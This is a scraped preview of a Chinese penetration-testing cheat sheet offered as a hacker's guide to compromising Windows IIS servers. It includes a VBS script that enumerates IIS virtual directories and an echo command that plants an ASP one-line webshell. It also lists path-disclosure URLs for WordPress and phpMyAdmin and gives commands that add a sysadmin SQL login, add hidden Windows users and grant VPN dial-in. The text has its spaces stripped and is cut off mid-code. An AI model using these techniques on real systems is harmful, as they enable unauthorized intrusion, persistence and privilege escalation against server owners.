渗透技巧总结.pdf

《渗透技巧总结.pdf》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。

1、本着共享之精神，方便各位黑阔童鞋，发表此文，希望抛砖引玉，童鞋们踊跃发言。使之更加完善，在交流中进步，形成良好的互动~旁站路径问题1、读网站配置。2、用以下VBSOnErrorResumeNextIf(LCase(Right(WScript.Fullname,11))=”wscript.exe”)ThenMsgboxSpace(12)&“IISVirtualWebViewer”&Space(12)&Chr(13)&Space(9)&“Usage:CscriptvWeb.vbs”,4096,”Lilo”WScript.QuitEndIfSetObjService=Ge

2、tObject(“IIS://LocalHost/W3SVC”)ForEachobj3wInobjserviceIfIsNumeric(obj3w.Name)ThenSetOService=GetObject(“IIS://LocalHost/W3SVC/”&obj3w.Name)SetVDirObj=OService.GetObject(“IIsWebVirtualDir”,“ROOT”)IfErr<>0ThenWScript.Quit(1)WScript.EchoChr(10)&“["&OService.ServerComment&"]“ForEachBinds

3、InOService.ServerBindingsWeb=“{”&Replace(Binds,”:”,”}{“)&”}”WScript.EchoReplace(Split(Replace(Web,”“,”"),”}{“)(2),”}”,”")NextWScript.Echo“Path:”&VDirObj.PathEndIfNext复制代码3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）4、得到目标站目录，不能直接跨的。通过echo^<%execute(request(“cmd”))%^>>

4、>X:目标目录X.asp或者copy脚本文件X:目标目录X.asp像目标目录写入webshell。或者还可以试试type命令.—————————————————————WordPress的平台，爆绝对路径的方法是：url/wp-content/plugins/akismet/akismet.phpurl/wp-content/plugins/akismet/hello.php——————————————————————phpMyAdmin暴路径办法:phpMyAdmin/libraries/select_lang.lib.phpphpMyAdmin/dark

5、blue_orange/layout.inc.phpphpMyAdmin/index.php?lang[]=1phpmyadmin/themes/darkblue_orange/layout.inc.php————————————————————网站可能目录(注：一般是虚拟主机类）data/htdocs.网站/网站/————————————————————CMD下操作VPN相关：netshrassetuseradministratorpermit#允许administrator拨入该VPNnetshrassetuseradministratordeny#禁止admi

6、nistrator拨入该VPNnetshrasshowuser#查看哪些用户可以拨入VPNnetshrasipshowconfig#查看VPN分配IP的方式netshrasipsetaddrassignmethod=pool#使用地址池的方式分配IPnetshrasipaddrangefrom=192.168.3.1to=192.168.3.254#地址池的范围是从192.168.3.1到192.168.3.254————————————————————命令行下添加SQL用户的方法:需要有管理员权限,在命令下先建立一个c:test.qry文件,内容如下:execm

7、aster.dbo.sp_addlogintest,123EXECsp_addsrvrolemember‘test,‘sysadmin’然后在DOS下执行:cmd.exe/cisql-E/Ualma/P/ic:test.qry另类的加用户方法:在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：js:varo=newActiveXObject(“Shell.Users”);z=o.create(“test”);z.changePassword(“123456″,”")z.setting(“AccountType”)=3;vbs:Seto=Cr